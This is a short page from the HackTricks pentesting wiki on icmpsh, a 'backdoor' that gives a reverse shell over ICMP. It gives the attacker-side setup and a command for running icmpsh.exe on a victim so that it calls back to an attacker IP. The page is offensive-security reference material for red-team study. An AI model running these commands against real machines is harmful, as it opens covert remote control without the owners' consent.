hacktricks/c2/icmpsh.md
Carlos Polop b099d4ee5d a
2024-07-18 18:21:56 +02:00

2.7 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Download the backdoor from: https://github.com/inquisb/icmpsh

Client side

Execute the script: run.sh

If you get some error, try to change the lines:

IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')

For:

echo Please insert the IP where you want to listen
read IP

Victim Side

Upload icmpsh.exe to the victim and execute:

icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}